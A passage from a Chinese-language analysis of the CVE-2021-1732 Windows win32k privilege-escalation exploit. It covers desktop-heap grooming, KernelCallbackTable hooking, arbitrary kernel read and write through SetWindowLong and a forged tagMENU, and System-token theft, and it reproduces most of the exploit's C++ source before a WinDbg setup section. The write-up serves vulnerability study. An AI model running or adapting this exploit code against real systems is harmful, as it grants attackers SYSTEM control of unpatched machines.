  • 6.调用 SetWindowLong 将数据写入内核空间桌面堆基址 + 可控偏移量的地址,这可能会导致超出堆范围的内存访问冲突

这些步骤都会在 04 部分 体现。

3.6 EXP 利用手法及难点解决

对于内核漏洞利用,攻击目标通常是获得 System 令牌,常见的方法如下:

  • 1.利用漏洞在内核空间中获得任意地址读写的原语
  • 2.泄露一些内核对象的地址,通过 EPROCESS 链找到 System 进程
  • 3.将 System 进程的令牌复制到攻击进程以完成权限提升

我们所面临的困难主要是步骤 1 —— 如何利用”在内核空间桌面堆基地址 + 可控偏移量计算出的地址中写数据”的机会来获取内核空间任意地址读写的原语。本部分将注重逻辑分析,具体实施细节在 04 部分

3.6.1 任意地址写

3.3 节 的分析,调用 SetWindowLong 时,传递的 nIndex 必须小于 tagWNDk.cbWndExtra,若是能把该值改大,就能轻松造成内存访问越界。参考 3.5 节,tagWNDk + 8 的地方保存着该 tagWNDk 相对于桌面堆基址的偏移。结合这两点,可以构造如下的内存布局:

首先通过漏洞将 tagWNDk2.pExtraBytes 设置为 offset 模式寻址(dwExtraFlag |= 0x800),并将其赋值为 tagWNDk0 相对于桌面堆基址的偏移(*(&tagWNDk0 + 8)),于是窗口 2 的扩展内存变成了 tagWNDk0 所在的空间。对窗口 2 调用 SetWindowLong,nIndex 为 cbWndExtra 在结构体中的偏移(0xC8),就能修改到 tagWNDk0.cbWndExtra 了,我们把它改成 0xFFFFFFFF,cbWndExtra 过小的限制就解除了!为了能通过窗口 0 的扩展内存写到窗口 1 的 tagWNDk,还需要提前使用 win32u!NtUserConsoleControl 来让窗口 0 也进入 offset 寻址模式。

现在对窗口 0 调用 SetWindowLongPtr,nIndex 为窗口 0 扩展内存与窗口 1 tagWNDk 的偏移 + pExtraBytes 在结构体中的偏移(0x128),修改 tagWNDk1.pExtraBytes 为任意值。又因为 tagWNDk1.pExtraBytes 处于直接寻址模式,再对窗口 1 调用 SetWindowLongPtr 就能实现任意地址写了。

3.6.2 任意地址读

EXP 中使用 user32!GetMenuBarInfo[15] 函数与伪造的 tagMENU 结构体进行内核读取,一次可以读取16个字节,这种巧妙的手法此前未被公开过。该 API 最终会调用 win32kfull!xxxGetMenuBarInfo,并传入 4 个参数 ptagWND,idObject,idItem,&mbi[16]:

结合 3.2 节

ptagWND(user layer)
    0x28 ptagWNDk(kernel layer)
        0x18 dwStyle
        0x58 Window Rect left
        0x5C Window Rect top
    0x90 spMenu(tagMENU *)
        0x00 hMenu
        0x28 unknown1
            0x2C cItems(for check)
        0x40 unknown2(for check)
        0x44 unknown3(for check)
        0x58 rgItems
            0x00 unknown(for exploit)
        0x98 spMenuk
            0x00 pSelf

需要注意,spMenu->spMenuk->pSelf 是一个指向 spMenu 自身的指针

分析 xxxGetMenuBarInfo 关键部分:

95 行的等号重载:

可以得出分割线往上检查了:

  • 1.对于 GetMenuBarInfo 参数
    • 87 行:第二个参数 idObject 应为 -3
    • 98、99 行:0 <= 第三个参数 idItem <= ptagWND->spMenu->unknown1->cItems
  • 2.对于 tagWNDk 结构体
    • 89 行:dwStyle 不能包含 WS_CHILD 属性
  • 3.对于 tagMENU 结构体
    • 105 行:unknown2 与 unknown3 不能为 0

分割线往下就是利用部分了,由 110 – 112、122 – 130、159 行可知,如果伪造的 tagMENU 结构体中 rgItems->unknown 为欲读取的地址 – 0x40,那么就能从 GetMenuBarInfo 第四个参数 pmbi 获得欲读取地址开始的 16 个字节(当然还需要减去一些已知值)。因此,我们需要伪造的 tagMENU 结构体长这样:

构造好了怎么修改 ptagWND->spMenu 呢?Kernel Killer 在他的 EXP 中选择使用 SetWindowLongPtr 自带的功能来修改。其实 SetWindowLong 系列函数除了能写窗口附加空间,如果参数 nIndex 给的是负数,它们还能用于设置 tagWND 的一些字段,这些功能都是公开的,可以在微软开发文档[17] 查到:

当 nIndex 为 GWLP_ID 时,win32kfull!xxxSetWindowLongPtr 还会调用 win32kfull!xxxSetWindowData,在其中设置 ptagWND->spMenu 为用户给定的值,并返回 spMenu 旧值注意:dwStyle 应带有 WS_CHILD 属性):

就算不知道 SetWindowLongPtr 有这样的功能,也能改到 ptagWND->spMenu。同 3.6.1 节 的理,对窗口 0 调用 SetWindowLongPtr,通过越界写同样能将窗口 1 的 tagWNDk.spMenu 改为自定义的值,这种情况下,SetWindowLongPtr 依旧会返回修改前的旧值:

无论使用哪种方式,现在我们获得了任意地址读的能力!

3.6.3 泄露内核对象地址

泄露地址的工作在上一部分已经完成了一半 —— 泄露出了旧 spMenu 的地址,由 3.2 节 又有:

ptagWND(user layer)
    0x10 unknown
        0x00 pTEB
            0x220 pEPROCESS(of current process)
    0x90 spMenu
        0x18 unknown0
            0x100 unknown
                0x00 pEPROCESS(of current process)
        0x50 ptagWND

那么泄露当前进程 EPROCESS 地址的方式就不止一种了:

  • 1.通过三次任意地址读,达到 **(__int64 **)(*(__int64 *)(spMenu + 0x18) + 0x100) 的效果(EXP 使用)
  • 2.通过四次任意地址读,达到 *(__int64 *)(**(__int64 **)(*(__int64 *)(spMenu + 0x50) + 0x10) + 0x220) 的效果(攻击样本使用)

3.6.4 提升进程权限

知道当前进程的 EPROCESS 地址后,遍历 EPROCESS->ActiveProcessLinks 链表[18],找到 pid 为 4 的进程(System 进程),将其 Token 复制到当前的攻击进程,即可完成提权。

下面是将用到的 EPROCESS 字段及其偏移量:

pEPROCESS
    0x2E0 UniqueProcessId            // pid
    0x2E8 ActiveProcessLinks.Flink    // 该字段指向下一个 EPROCESS 结构体的 ActiveProcessLinks(双向链表)
    0x358 Token                        // 令牌

04 EXP 阅读

这个部分我将按照 EXP 的程序执行流,把 03 部分 完整地串起来,各个技术点的实施细节将在这里展露无遗。

4.1 准备工作

169 – 176 行(WinMain 入口)为本窗口程序创建了一个控制台,并将程序的标准输入、输出重定向到这个控制台,这就是为什么运行 EXP 时会有个命令行界面:

UNREFERENCED_PARAMETER(hPrevInstance);    // 告诉编译器,已经使用了参数,不必警告
UNREFERENCED_PARAMETER(lpCmdLine);        // 应该是创建项目时的模板代码

AllocConsole();        // 创建一个控制台
FILE* tempFile = nullptr;
freopen_s(&tempFile, "conin$", "r+t", stdin);        // 重定向程序的标准输入到控制台
freopen_s(&tempFile, "conout$", "w+t", stdout);        // 重定向程序的标准输出到控制台

178 – 187 行通过未公开的 ntdll!RtlGetNtVersionNumbers 函数获得 Windows 版本信息(主次版本及 OS 内部版本号),并输出到控制台:

typedef void(WINAPI* FRtlGetNtVersionNumbers)(DWORD*, DWORD*, DWORD*);
DWORD dwMajorVer, dwMinorVer, dwBuildNumber = 0;
FRtlGetNtVersionNumbers fRtlGetNtVersionNumbers = (FRtlGetNtVersionNumbers)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetNtVersionNumbers");
fRtlGetNtVersionNumbers(&dwMajorVer, &dwMinorVer, &dwBuildNumber);    // 获得版本信息
dwBuildNumber &= 0x0ffff;

std::cout << "Example CVE-2021-1732 Exp working in windows 10 1809(17763).\n";
std::cout << "Current system version:\n";
std::cout << "  MajorVer:" << dwMajorVer << " MinorVer:" << dwMinorVer << " BuildNumber:" << dwBuildNumber << std::endl;    // 输出版本信息到控制台
system("pause");        // 在这里 pause 方便为后面代码的调试下断点

189 – 198 获取一些未公开函数的地址,以便后面使用:

g_fNtUserConsoleControl = (FNtUserConsoleControl)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");    // win32u!NtUserConsoleControl(其实用 user32!ConsoleControl 效果一样)
g_fFNtCallbackReturn = (FNtCallbackReturn)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");        // ntdll!NtCallbackReturn
// ntdll!RtlAllocateHeap
g_fRtlAllocateHeap = (RtlAllocateHeap)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");
// gs:[0x60] 指向进程 PEB,PEB 结构体偏移 0x58 为 KernelCallbackTable
ULONG_PTR pKernelCallbackTable = (ULONG_PTR) *(ULONG_PTR*)(__readgsqword(0x60) + 0x58);
g_fxxxClientAllocWindowClassExtraBytes = (FxxxClientAllocWindowClassExtraBytes)*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8);    // KernelCallbackTable 第 123 项为 user32!_xxxClientAllocWindowClassExtraBytes
g_fxxxClientFreeWindowClassExtraBytes = (FxxxClientFreeWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0);    // 第 124 项为 user32!_xxxClientFreeWindowClassExtraBytes(调试用)

FindHMValidateHandle(&fHMValidateHandle);    // user32!HMValidateHandle

其中 HMValidateHandle 函数地址通过 user32!IsMenu 的第一个 call 计算[14]:

bool FindHMValidateHandle(FHMValidateHandle *pfOutHMValidateHandle)
{
    *pfOutHMValidateHandle = NULL;
    HMODULE hUser32 = GetModuleHandle(L"user32.dll");
    PBYTE pMenuFunc = (PBYTE)GetProcAddress(hUser32, "IsMenu");    // user32!IsMenu
    if (pMenuFunc) {
        for (int i = 0; i < 0x100; ++i) {
            if (0xe8 == *pMenuFunc++) {        // 找到第一个 call 指令(0xE8 是 call 指令的 opcode)
                DWORD ulOffset = *(PINT)pMenuFunc;    // call 指令的操作数是一个偏移,计算方法为(目标地址 - call 指令地址 - 5)
                *pfOutHMValidateHandle = (FHMValidateHandle)(pMenuFunc + 5 + (ulOffset & 0xffff) - 0x10000  - ((ulOffset >> 16 ^ 0xffff) * 0x10000) );    // 计算得到 user32!HMValidateHandle 地址
                break;
            }
        }
    }
    return *pfOutHMValidateHandle != NULL ? true : false;
}

200 – 204 行将 KernelCallbackTable 的 123、124 项替换成自己的挂钩函数:

DWORD dwOldProtect = 0;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);        // 给 KernelCallbackTable 所在的内存添加可写权限
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG_PTR)MyxxxClientAllocWindowClassExtraBytes;    // hook 123 项
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG_PTR)MyxxxClientFreeWindowClassExtraBytes;    // hook 124 项,调试用
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);    // 还原内存权限

第 123 项的 hook 函数等到下面用到时再贴出来。第 124 项的 hook 应该是作者为了调试 EXP 而加的,其 hook 函数原封不动地调用了原函数:

NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID pInfo)
{
    PVOID pAddress = *(PVOID*)((PBYTE)pInfo + 8);
    return g_fxxxClientFreeWindowClassExtraBytes(pInfo);    // 调用原函数
}

4.2 内存布局

206 – 221 行注册了两个窗口类,两个窗口类的主要区别是 cbWndExtra 的大小:

ATOM atom1, atom2 = 0;

WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;    // 使用默认窗口过程
WndClass.style = CS_VREDRAW| CS_HREDRAW;
WndClass.cbWndExtra = 0x20;                // Class1 窗口扩展内存的大小为 0x20
WndClass.hInstance = hInstance;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"Class1";        // 窗口类名为 Class1
atom1 = RegisterClassEx(&WndClass);     // 注册 Class1

WndClass.cbWndExtra = g_dwMyWndExtra;    // Class2 窗口扩展内存的大小为 0x1234
WndClass.hInstance = hInstance;
WndClass.lpszClassName = L"Class2";        // 窗口类名为 Class2
atom2 = RegisterClassEx(&WndClass);        // 注册 Class2

223 – 287 行通过创建/销毁窗口,正式进行内核桌面堆布局:

ULONG_PTR dwpWnd0_to_pWnd1_kernel_heap_offset = 0;
for (int nTry = 0; nTry < 5; nTry++) {    // 最多尝试 5 次内存布局
    HMENU hMenu = NULL;
    HMENU hHelpMenu = NULL;
    // 创建 50 个窗口
    for (int i = 0; i < 50; i++) {
        if (i == 1) {    // i = 1 时创建一个菜单 hMenu
            hMenu = CreateMenu();
            hHelpMenu = CreateMenu();

            AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));    // 准备一个 Item
            AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));    // 为菜单添加 Item
        }
        g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);    // 创建窗口,只有窗口 0 没有菜单
        g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); // 泄露每个窗口 tagWNDk 在用户空间的映射指针
    }
    // 销毁掉后 48 个窗口,使它们 tagWNDk 占用的桌面堆块处于空闲状态,再创建窗口时很有可能再用到这些空闲的堆块
    for (int i = 2; i < 50; i++) {
        if (g_hWnd[i] != NULL) {
            DestroyWindow((HWND)g_hWnd[i]);
        }
    }
    // ptagWNDk + 8 保存了 tagWNDk 相对于桌面堆基址的偏移
    g_dwpWndKernel_heap_offset0 = *(ULONG_PTR*)((PBYTE)g_pWnd[0] + g_dwKernel_pWnd_offset);
    g_dwpWndKernel_heap_offset1 = *(ULONG_PTR*)((PBYTE)g_pWnd[1] + g_dwKernel_pWnd_offset);
    // 对窗口 0 调用 ConsoleControl,使其 pExtraBytes 处于 offset 间接寻址模式
    ULONG_PTR ChangeOffset = 0;
    ULONG_PTR ConsoleCtrlInfo[2] = { 0 };            // 参数长度为 0x10 字节
    ConsoleCtrlInfo[0] = (ULONG_PTR)g_hWnd[0];        // 参数信息的第一个 8 字节存放窗口句柄
    ConsoleCtrlInfo[1] = (ULONG_PTR)ChangeOffset;    // 第二个 8 字节对利用没有影响
    NTSTATUS ret1 = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));    // 功能 6
    // 现在窗口 0 重新在桌面堆申请了一片空间作为扩展内存,pExtraBytes 存储其相对于桌面堆基址的偏移
    dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
    if (dwpWnd0_to_pWnd1_kernel_heap_offset < g_dwpWndKernel_heap_offset1) {    // 需要保证这片新空间地址小于窗口 1 tagWNDk 结构体所在的地址,这样才能通过窗口 0 扩展内存越界修改 tagWNDk1
        dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset);    // 记下它们之间的偏移
        break;        // 退出循环
    }
    else {
        // 如果进了 else,说明这次内存布局失败,回收所有资源
        if (g_hWnd[0] != NULL) {
            DestroyWindow((HWND)g_hWnd[0]);
        }
        if (g_hWnd[1] != NULL) {
            DestroyWindow((HWND)g_hWnd[1]);    

            if (hMenu != NULL) {
                DestroyMenu(hMenu);
            }
            if (hHelpMenu != NULL) {
                DestroyMenu(hHelpMenu);
            }
        }
    }
    dwpWnd0_to_pWnd1_kernel_heap_offset = 0;        // 重新设置该变量值为 0,进入下次内存布局尝试
}
if (dwpWnd0_to_pWnd1_kernel_heap_offset == 0) {        // 5 次尝试都失败了,退出程序
    std::cout << "Memory layout fail. quit" << std::endl;
    system("pause");
    return 0;
}
// 创建窗口 2,期间调用 hook 函数时,会将 pExtraBytes 改为 offset 间接寻址模式,并赋值为 tagWNDk0 相对于桌面堆基址的偏移
HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);    // 泄露 tagWNDk2 在用户空间的映射指针

KernelCallbackTable 的 123 项之前被替换成自定义的 hook 函数:

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
    if (*pSize == g_dwMyWndExtra) {    // 只有参数为 0x1234 时,才进行操作。即只有 286 行创建 Class2 的窗口时才会进到这里
        ULONG_PTR ululValue = 0;
        HWND hWnd2 = NULL;

        // 搜索释放掉的后 48 个窗口对应的 tagWNDk,寻找新窗口的 tagWNDk 复用了哪个地址(这里应该是 i < 50,不过无伤大雅)
        for (int i = 2; i < 48; i++) {
            ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset);    // 取来每个 cbWndExtra
            if (cbWndExtra == g_dwMyWndExtra) {            // 找到新窗口的 tagWNDk
                hWnd2 = (HWND)*(ULONG_PTR*)(g_pWnd[i]); // &tagWNDk + 0 存放窗口句柄
                break;
            }
        }
        if (hWnd2 == NULL) {
            // 到这里说明新窗口 tagWNDk 没有复用之前的空间,则输出错误信息,这里再加个结束程序会好些
            std::cout << "Search free 48 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd fail." << std::endl;
        }
        else {
            std::cout << "Search kernel mapping desktop heap points to hWnd: " << std::hex << hWnd2 << std::endl;
        }
        // 对新窗口(窗口 2)调用 ConsoleControl,使其 pExtraBytes 处于 offset 间接寻址模式
        ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
        ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2;    // 第一个 8 字节放窗口句柄
        ConsoleCtrlInfo[1] = ululValue;            // 0
        NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

        ULONG_PTR Result[3] = { 0 };                // 返回信息长度为 0x18
        Result[0] = g_dwpWndKernel_heap_offset0;    // 第一个 8 字节会被用于赋值 pExtraBytes
        return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);    // tagWNDk2.pExtraBytes 语义上指向 tagWNDk0
    }
    return g_fxxxClientAllocWindowClassExtraBytes(pSize);    // 238 行创建 50 个 Class1 的窗口时,都直接调用原函数
}

至此布局完毕,桌面堆长这样:

4.3 任意地址读的实现及封装

289 – 306 行使得我们具有任意地址读的能力:

SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF);        // 将 tagWNDk0.cbWndExtra 改为很大的值,窗口 0 的扩展内存可以越界写
// 想要使用 SetWindowLongPtr 修改 spMenu 的功能(-12),tagWNDk.dwStyle 需要带有 WS_CHILD 属性
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);  // 对窗口 0 调用 SetWindowLongPtr,修改 tagWNDk1.dwStyle,使其带有 WS_CHILD

// 构造一个 tagMENU,参考 3.6.2 节
g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20);    // spMenuk
**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu;    // spMenuk->pSelf
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200);    // unknown1
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8);        // rgItems
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1;    // unknown1->cItems
*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1;        // unknown2
*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2;        // unknown3
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;  // rgItems->unknown,用到的时候再初始化 
// 修改窗口 1 的 spMenu,同时泄露原 spMenu
ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu);

// 调用 GetMenuBarInfo 时,tagWNDk.dwStyle 不能包含 WS_CHILD
ululStyle &= ~0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);  // 移除窗口 1 的 WS_CHILD 样式

EXP 中通过函数 ReadKernelMemoryQQWORD 封装任意地址读功能,参数 pAddress 为要读的地址 p,ululOutVal1 和 ululOutVal2 存储读出来的 16 字节,其中 ululOutVal1 = *(__int64 *)pululOutVal2 = *(__int64 *)(p + 8),实现如下:

void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR &ululOutVal1, ULONG_PTR &ululOutVal2)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    RECT Rect = { 0 };
    GetWindowRect(g_hWnd[1], &Rect);    // 获取窗口 1 的 RECT 信息,用于计算读出的真实值

    *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; // rgItems->unknown
    GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi);    // 读取

    BYTE pbKernelValue[16] = { 0 };
    *(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left;        // 减去 Rect.left,创建窗口时,该值被指定为 0
    *(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top;    // 减去 Rect.top,创建窗口时,该值被指定为 0
    *(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left;
    *(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;

    ululOutVal1 = *(ULONG_PTR*)(pbKernelValue);            // 成功读出 pAddress 开始的 16 字节
    ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);
}

至于为什么要减去那四个值,再来回顾一下 xxxGetMenuBarInfo 中是怎么赋值 mbi 的。

4.4 泄露进程 EPROCESS 地址

312 – 320 行使用了 3.6.3 节 第一种方法来泄露:

ULONG_PTR ululValue1 = 0, ululValue2 = 0;

// **(__int64 **)(*(__int64 *)(spMenu + 0x18) + 0x100) 为进程 EPROCESS 结构体地址
ReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2);

ULONG_PTR pMyEProcess = ululValue1;
std::cout<< "Get current kernel eprocess: " << pMyEProcess << std::endl;    // 输出 EPROCESS 地址到控制台

4.5 进程权限提升

322 – 347 行遍历 EPROCESS->ActiveProcessLinks 链表,找到 System 进程,将其 Token 复制到当前进程:

ULONG_PTR pSystemEProcess = 0;

ULONG_PTR pNextEProcess = pMyEProcess;
for (int i = 0; i < 500; i++) {        // 用 do...whlie 循环遍历更优
    ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2);    // 读出 pEPROCESS->ActiveProcessLinks.Flink 的值
    pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;    // 减去 ActiveProcessLinks 字段在 EPROCESS 结构体中的偏移,得到下一个进程 EPROCESS 结构体首地址
    // 读取下一个进程 pid
    ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);

    ULONG_PTR nProcessId = ululValue1;
    if (nProcessId == 4) { // pid 为 4,说明找到了 System 进程
        pSystemEProcess = pNextEProcess;
        std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;    // 输出信息
        // 读取 System 进程的 Token
        ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
        ULONG_PTR pSystemToken = ululValue1;

        ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;

        // 参考 3.6.1 节,通过任意地址写,替换当前进程的 Token 为 System Token
        LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken);    // 修改 tagWNDk1.pExtraBytes 为当前进程 &pEPROCESS->Token
        SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken);  // 窗口 1 的 pExtraBytes 处于直接寻址模式
        SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);        // 还原 tagWNDk1.pExtraBytes 旧值
        break;
    }
}

4.6 扫尾工作

350 – 374 行恢复了被修改的各结构体字段,防止蓝屏的发生:

g_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset);    // tagWNDk2 相对于桌面堆基址的偏移
ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);    // tagWNDk0 在桌面堆上的扩展内存相对于桌面堆基址的偏移
if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) {    // tagWNDk2 需在二者中较高的地址
    dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset);    // 计算二者的偏移
    // 去掉 ptagWNDk2->dwExtraFlag 的 0x800 属性,pExtraBytes 改回直接寻址模式
    DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset);
    dwFlag &= ~0x800;
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag);
    // 在用户空间堆中申请一片空间来赋值 ptagWNDk2->pExtraBytes
    PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra);
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc);

    // 还原 ptagWNDk1->spMenu 时,ptagWNDk1->dwStyle 需要带有 WS_CHILD 属性
    ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
    ululStyle |= 0x4000000000000000L;
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);    // 为窗口 1 添加 WS_CHILD 样式
    // 使用 SetWindowLongPtr 自带功能(-12)还原 ptagWNDk1->spMenu
    ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu);
    // 这里应该释放伪造 tagMENU 时申请的那些空间,因为没有后续利用,写不写倒是无所谓
    // 移除窗口 1 的 WS_CHILD 样式
    ululStyle &= ~0x4000000000000000L;
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);

    std::cout << "Recovery bug prevent blue screen." << std::endl;
}

376 – 388 行释放剩余的资源,EXP 至此结束:

DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(hWnd2);
// 232、233 行创建的两个菜单还没有释放!
if (pSystemEProcess != NULL) {
    std::cout << "CVE-2021-1732 Exploit success, system permission" << std::endl;
}
else {
    std::cout << "CVE-2021-1732 Exploit fail" << std::endl;
}
system("pause");

return (int)0;

05 动态调试

5.1 双机调试环境搭建[20]

确保你有一个 Win10 1809 的虚拟机,如果没有,可以参考 2.1 节

接着从 github 下载最新版 VirtualKD-Redux[21]:

解压后将 target64 文件夹复制到虚拟机内,在虚拟机里以管理员身份运行文件夹中的 vminstall.exe,点击 Install 按钮:

弹出的警告无视掉,然后重启虚拟机(选会自动重启)。启动界面会让你选择启动项,选到我们新加的启动项按下 F8,选择禁用驱动程序强制签名并按下回车:

等待进入桌面后(建议重新拍摄一个快照),在宿主机中运行 VirtualKD-Redux 文件夹下的 vmmon64.exe,设置 WinDbg 调试器的路径(如果没有安装 WinDbg,可以参考微软官方文档[22]):

点击 Run debugger 就会弹出 WinDbg(以后再调试都会自动弹出),按 WinDbg 上方的暂停按键就可以断下来了:

下方命令行输入 g,虚拟机就可以继续运行了,后面再想中断,可以按 WinDbg 上方的暂停按键

最后是设置 WinDbg 使用的符号路径[23],需要添加一个 _NT_SYMBOL_PATH 系统环境变量,值为 srv*path\to\your\local\folder*https://msdl.microsoft.com/download/symbols,两个星号中间部分替换为你的本地文件夹(WinDbg 将自动从微软符号服务器下载 pdb 文件到这个文件夹中):

重启 WinDbg 后生效

5.2 IDA 加载 pdb 文件

以 ExploitTest.exe 为例,使用 IDA 加载 ExploitTest.exe 后,选择上方的 File -> Load file -> PDB file,选择 pdb 路径:

加载完毕后,左侧函数窗口就能看到符号了:

5.3 调试某一进程

以 ExploitTest.exe 为例,在虚拟机中运行 ExploitTest.exe ,WinDbg 中按下暂停后首先找到进程的 EPROCESS 地址:

kd> !process 0 0 ExploitTest.exe
PROCESS ffffc90f5867c080
    SessionId: 1  Cid: 08c0    Peb: 00298000  ParentCid: 0eb8
    DirBase: 62300002  ObjectTable: ffffdd89449bd940  HandleCount:  56.
    Image: ExploitTest.exe

使用 .process 指令与找到的 EPROCESS 地址切换到该进程的地址空间:

kd> .process /i /p ffffc90f5867c080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

然后 g 运行一下,WinDbg 会切换进程并断在 ExploitTest.exe 进程中:

kd> g
Break instruction exception - code 80000003 (first chance)
